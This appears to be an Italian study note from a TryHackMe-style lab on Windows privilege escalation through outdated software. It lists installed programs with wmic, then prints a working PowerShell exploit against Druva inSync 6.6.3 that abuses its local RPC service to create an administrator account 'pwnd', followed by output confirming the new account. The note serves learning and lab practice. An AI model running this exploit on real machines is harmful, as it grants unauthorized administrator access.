tags: windows privilage_escalation Windows_Privilage_Escalation Software_Non_Aggiornati


Come prima cosa possiamo vedere tutti i software installati con il seguente comando:

wmic product get name,version,vendor
C:\Users\thm-unpriv>wmic product get name,version,vendor
Name                                                            Vendor                                   Version
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910     Microsoft Corporation                    14.28.29910
AWS Tools for Windows                                           Amazon Web Services Developer Relations  3.15.1248
VNC Server 6.8.0                                                RealVNC                                  6.8.0.45849
Amazon SSM Agent                                                Amazon Web Services                      3.0.529.0
aws-cfn-bootstrap                                               Amazon Web Services                      2.0.5
Druva inSync 6.6.3                                              Druva Technologies Pte. Ltd.             6.6.3.0
AWS PV Drivers                                                  Amazon Web Services                      8.3.4
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910  Microsoft Corporation                    14.28.29910

Ricorda che il comando wmic product potrebbe non restituire tutti i programmi installati. A seconda di come sono stati installati, alcuni programmi potrebbero non essere elencati qui. Vale sempre la pena controllare i collegamenti sul desktop, i servizi disponibili o in generale qualsiasi traccia che indichi l’esistenza di software aggiuntivo che potrebbe essere vulnerabile.

Esempio

Abbiamo una versione vulnerabile di Druva, la 6.6.3, tramite questo software possiamo ottenere i privilegi di amministratore, ci basta incollare questo payload in una shell powershell:

PS C:\Users\thm-unpriv> $ErrorActionPreference = "Stop"
>>
>> $cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"
>>
>> $s = New-Object System.Net.Sockets.Socket(
>>     [System.Net.Sockets.AddressFamily]::InterNetwork,
>>     [System.Net.Sockets.SocketType]::Stream,
>>     [System.Net.Sockets.ProtocolType]::Tcp
>> )
>> $s.Connect("127.0.0.1", 6064)
>>
>> $header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
>> $rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
>> $command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
>> $length = [System.BitConverter]::GetBytes($command.Length);
>>
>> $s.Send($header)
>> $s.Send($rpcType)
>> $s.Send($length)
>> $s.Send($command)

Verificare che l’utente pwnd appena creato sia stato effettivamente aggiunto al gruppo amministratore:

net user pwnd
User name                    pwnd
Full Name
Account active               Yes
[...]
 
Local Group Memberships      *Administrators       *Users
Global Group memberships     *None

Ed eseguire la cmd come amminstratore inserendo la password che abbiamo messo all’utente pwnd cioè SimplePass123